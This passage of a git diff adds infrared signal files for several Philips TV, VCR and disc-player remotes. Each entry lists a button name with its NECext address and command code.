parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: tv-7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: tv-8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: tv-9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: tv-channel/program_back +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: tv-standby +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: tv-mute +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: tv-info +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: tv-vol+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: tv-vol- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: tv-channel/program+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: tv-channel/program- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: tv-external +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: tv-display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: tv-1st/2nd_language +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: tv-menu_function +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: tv-cursor_step_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: tv-cursor_step_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: tv-cursor_step_left +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: tv-cursor_step_right +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: tv-acknowledge +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: tv-teletext_submode_(J:12) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: tv-pause +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 67 00 00 00 +# +name: tv-recording +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: tv-speed- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: tv-stop +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: tv-play +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 70 00 00 00 +# +name: tv-speed+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 71 00 00 00 +# +name: tv-timer_programming +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7F 00 00 00 +# +name: tv-activecontrol +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 96 00 00 00 +# +name: tv-solarization +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CC 00 00 00 +# +name: tv-zoom +type: parsed +protocol: NECext +address: 00 00 00 00 +command: E7 00 00 00 +# +name: tv-image_pref +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F3 00 00 00 +# +name: tv-sound_pref +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F4 00 00 00 +# +name: tv-format +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir new file mode 100644 index 000000000..bd9509d44 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: dim +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: ff-right +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: ff-left +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: repeat-ab +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: sound-mode +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: menu-disc +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: menu-system +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: t-c +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 +# +name: fts +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir new file mode 100644 index 000000000..065a019d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir new file mode 100644 index 000000000..e1fd21490 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_AB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_SWITCHVIDEOMODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_SCREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 70 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: C1 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CC 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: D2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir new file mode 100644 index 000000000..d4e0b2cc2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: singele_double_digits +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: C/P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_N +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: brightness_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: brightness_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: contrast_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: contrast_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: bass_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: bass_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: treble_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: treble_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: balance_left +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: balance_right +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: tt_menu_enter +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: tt_next +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: swap_channel +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: I/II +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: stereo_dunno +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: alt_power +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_3_and_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: tt_shrink +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: tt_clock +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: tt_expand +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: tt_question +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: tt_X +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: tt_halfimage +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: vcr_rewind_yellow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: vcr_fastforward_blue +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: tt_info +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: vcr_stop_green +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: vcr_playrecord_red +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: IN_OUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: tt_on +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: tt_off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir new file mode 100644 index 000000000..e6fc37cba --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 09 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0C 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 43 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 4B 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 4E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 58 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 83 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 84 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CB 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CC 00 00 00 +# +name: themes +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CD 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CE 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CF 00 00 00 +# +name: opts +type: parsed +protocol: NECext +address: 27 00 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir new file mode 100644 index 000000000..60c374f65 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: t- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: p-p +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: iii +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: f+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: f- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir new file mode 100644 index 000000000..d190d115b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: TV_PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: TV_OSD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: VCR_OSD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 +# +name: TV_VOL+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: TV_VOL- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: TV_PRESET+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: VCR_PRESET+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: TV_PRESET- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: VCR_PRESET- 